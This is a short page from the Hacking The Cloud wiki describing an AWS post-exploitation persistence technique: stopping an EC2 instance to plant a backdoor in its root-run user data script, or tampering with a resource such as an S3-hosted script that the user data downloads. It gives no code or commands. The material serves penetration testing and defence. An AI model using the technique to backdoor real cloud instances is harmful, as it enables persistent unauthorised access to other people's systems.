<nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> User Data Script Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> User Data Script Persistence </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#modify-the-user-data-script class=md-nav__link> <span class=md-ellipsis> Modify the User Data Script </span> </a> <nav class=md-nav aria-label="Modify the User Data Script"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#modify-a-resource-called-by-the-script class=md-nav__link> <span class=md-ellipsis> Modify a Resource Called by the Script </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#modify-the-user-data-script class=md-nav__link> <span class=md-ellipsis> Modify the User Data Script </span> </a> <nav class=md-nav aria-label="Modify the User Data Script"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#modify-a-resource-called-by-the-script class=md-nav__link> <span class=md-ellipsis> Modify a Resource Called by the Script </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/user_data_script_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>User Data Script Persistence</h1> <p>When using EC2 instances a common design pattern is to define a <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html>user data</a> script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.</p> <h2 id=modify-the-user-data-script>Modify the User Data Script<a class=headerlink href=#modify-the-user-data-script title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-instance-attribute.html>modify-instance-attribute</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:StartInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html>ec2:DescribeInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/stop-instances.html>ec2:StopInstances</a></li> </ul> </li> </ul> </div> <p>If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.</p> <p>The steps to modify user data scripts can be found <a href=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute>here</a>.</p> <h3 id=modify-a-resource-called-by-the-script>Modify a Resource Called by the Script<a class=headerlink href=#modify-a-resource-called-by-the-script title="Permanent link">&para;</a></h3> <p>In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 